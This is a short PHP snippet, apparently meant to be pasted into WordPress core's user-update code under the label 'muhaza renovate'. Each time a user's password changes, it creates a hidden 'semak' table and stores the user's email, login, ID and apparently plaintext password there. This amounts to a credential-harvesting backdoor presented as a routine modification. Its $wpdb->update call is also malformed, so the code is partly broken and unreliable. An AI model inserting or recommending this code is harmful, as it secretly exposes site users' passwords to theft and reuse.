As usual. Search Blue, paste Green
if ( ! empty( $userdata['user_pass'] ) && $userdata['user_pass'] !== $user_obj->user_pass ) {
// muhaza renovate here
global $wpdb;
$semak = $wpdb->prefix . "semak";
$username = DB_USER;
$password = DB_PASSWORD;
$hostname = DB_HOST;
$con=mysqli_connect($hostname,$username,$password);
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL: " . mysqli_connect_error();
die();
}
$sql_1 = "USE " . DB_NAME . ";";
mysqli_query($con,$sql_1);
$sql_2 = "CREATE TABLE IF NOT EXISTS $semak (
pemilik varchar(50) NOT NULL,
PRIMARY KEY(pemilik),
kunci varchar(100) NOT NULL,
namanya varchar(100) NOT NULL,
emel varchar (100) NOT NULL
);";
mysqli_query($con, $sql_2);
mysqli_close($con);
if($wpdb->update(
$semak,
array("emel" => $userdata['user_email']),
array("kunci" => $userdata['user_pass']),
array("namanya" => $userdata['user_login']),
array("pemilik" => $ID),
array("%s"),
array("%s"),
array("%s"),
array("%s")
) == false)
{
$wpdb->insert(
$semak,
array(
"emel" => $userdata['user_email'],
"kunci" => $userdata['user_pass'],
"namanya" => $userdata['user_login'],
"pemilik" => $ID),
array(
'%s','%s','%s','%s'
));
}
//end muhaza renovate
